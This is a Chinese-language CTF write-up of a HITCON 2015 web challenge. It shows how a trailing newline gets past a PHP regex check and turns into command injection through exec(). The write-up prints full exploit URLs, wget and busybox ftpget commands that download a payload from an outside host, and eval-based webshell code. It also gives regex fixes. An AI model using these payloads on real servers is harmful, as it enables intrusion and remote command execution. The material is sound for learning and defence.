简介
之前4ct10n找我讨论的,也是拖了很久直到现在才写了这篇文章。这道题目是hitcon2015上面的第一道题目,源码和解答可以在Github上面下载,是一道非常好的题目
说明
题目的代码如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
$dir = 'sandbox/' . $_SERVER['REMOTE_ADDR'];
if ( !file_exists($dir) )
mkdir($dir);
chdir($dir);
$args = $_GET['args'];
for ( $i=0; $i<count($args); $i++ ){
if ( !preg_match('/^\w+$/', $args[$i]) )
exit();
}
exec("/bin/orange " . implode(" ", $args));
分析程序,整个程序的逻辑是为一个客户端创建一个sandbox/clientip
的目录,通过正则表达检查参数值,要求所有的参数仅仅只能为数字和字母。而/bin/orange
最终发现只是/bin/true
的软链接,没有任何的作用。
突破点
其实这个问题是正则表达式的一个trick。/^\w+$\
中的$
当遇到一个字符串的结尾是换行符时还是可以匹配的。
利用这个特性,就可以绕过前面的preg_match()检查,同时多出的换行符还可以在exec()
函数中执行。
进行简单的测试,访问1
http://192.168.158.135/?args[]=xxx%0a&args[]=touch&args[]=test
args中的参数为xxx\n、touch、test
,这三者都可以通过preg_match()的检查,此时exec中执行的命令为:1
2/bin/orange xxx
touch test
这样就顺利地创建了一个test文件,后台显示:
利用
我的测试环境是,服务器IP:192.168.158.135 本地IP:192.168.158.1
由于preg_match()
使用的是\w
来进行检查,所有的斜线、破折号和点(\,-,.)都无法使用。在这种情况下如何创建文件,写入webshell呢?尝试直接写入文件肯定是不行的,因为'
也是无法使用的。
利用点1-wget下载文件
如果无法创建文件,师傅可以下载文件?利用wget
的方式下载文件?传统的IP地址为1.1.1.1
的形式,含有.
, 但是IP地址可以利用十进制的方式表示。所以就可以下载任意文件了。
在本地搭建一个web服务,在首页index.php
中写入<?php phpinfo();?>
,192.168.158.1
转化为十进制为3232275969
。
通过访问URLhttp://192.168.158.135/?args[]=xxx%0a&args[]=wget&args[]=3232275969
下载首页。
通过后台观察:
发现已经成功下载了文件,但是下载的文件已经变成了index.html
,index.html
的内容是phpinfo()
返回之后的内容,而不是php的源代码。
综上,通过wget
下载文件的方式不能下载到php文件,下载的是php解析之后的html文件。
利用点2-php执行代码
在Linux中PHP
能够执行非压缩的打包的PHP文件。测试如下:
- 创建test.php,内容为
<?php echo "test123";?>
- 通过
tar
将test.php打包,tar test test.php
- PHP运行test文件
最终运行的结果如下:
虽然执行之后输出了一些其他的内容,但是test123
还是成功地输出,说明php已经执行了test中的代码了。
解答
在本地192.168.158.1
的index.html
中写入:1
2
3
4
5
6
7
file_put_contents('shell.php', '
<?php
header("Content-Type: text/plain");
print eval($_POST["cmd"]);
?>
');
通过以上两个利用点,就可以写入webshell文件了。整个执行流程如下:1
2http://192.168.158.135/?args[]=xxx%0a&args[]=mkdir&args[]=exploit 创建exploit文件夹
http://192.168.158.135/?args[]=xxx%0a&args[]=cd&args[]=exploit%0a&args[]=wget&args[]=3232275969 进入exploit文件夹,下载192.168.158.1的index.html文件。
此时后台服务器显示的结果如下:
已经成功地将文件下载到本地,接下来就是执行index.html
文件中的内容,执行的方式就是上面所讲到的利用点2。1
http://192.168.158.135/?args[]=xxx%0a&args[]=tar&args[]=cvf&args[]=archived&args[]=exploit
将exploit文件夹打包为archived文件,此时后台的服务器的显示为:
最后就是php解释执行archived文件了1
http://192.168.158.135/?args[]=xxx%0a&args[]=php&args[]=archived
此时后台服务器的显示结果为:
可以看到已经成功地创建了shell.php
文件
访问shell.php
即可拿到服务器的webshell。
其他解法
后来有看了orange大佬写的HITCON CTF 2015 Quals Web 出題心得,又学习到了新的解法。上述的解法其实就是绕过各种限制,最终在服务器生成webshell。那么还可以通过其他的方式生成webshell,比如通过ftp的方式下载一个webshell文件。
由于一般的服务器上面都不会有ftpget
命令,此时可以利用busybox
这个工具。通过busybox
中的ftpget
的下载命令为:1
busybox ftpget -u ftp的用户名 -p ftp的密码 ftp地址 需要下载的文件名
首先在ftp服务器上面创建一个webshell.php
文件,内容是<?php @eval($_POST[cmd])?>
.
那么执行流程为:1
http://192.168.158.135/?args[]=xxx%0a&args[]=busybox&args[]=ftpget&args[]=%2du&args[]=uftp&args[]=%2dp&args[]=123456&args[]=3232275969&args[]=webshell.php
直接从远程的ftp服务器上面下载php文件,此php文件就是一个简单的一句话木马。在后台服务器的显示为:
成功地下载了webshell.php
文件
访问webshell.php
即可拿到服务器的webshell。
但是我在本地进行测试的时候,始终无法通过busybox ftpget
下载到webshell.php
,很迷。但是上面的思路完全是可行的。
补充说明
其实这道题目利用的在正则表达式中$
可以匹配到字符串末尾的换行符的特性。如果想仅仅只是匹配字符串也是有办法的。
- 使用
\A
和\Z
来表示字符串的开始和结束,那么就可以使用var_dump(preg_match('|\A[a-z0-9]+\z|is', "abcABC1234\n"));
,这样就不会匹配到 - 可以使用
\D
的模式来进行匹配,如果这个修饰符被设置,模式中的$
仅仅匹配目标字符串的末尾。如果这个修饰符 没有设置,当字符串以一个换行符结尾时, 美元符号还会匹配该换行符。var_dump(preg_match('/^[a-z0-9]+$/isD', "abcABC1234\n"));
,这样也不会匹配到。
总结
利用了正则表达式中的的换行符匹配的问题最终导致可以写入webshell,这道题目可以说非常的好,思路也非常的好,值得学习。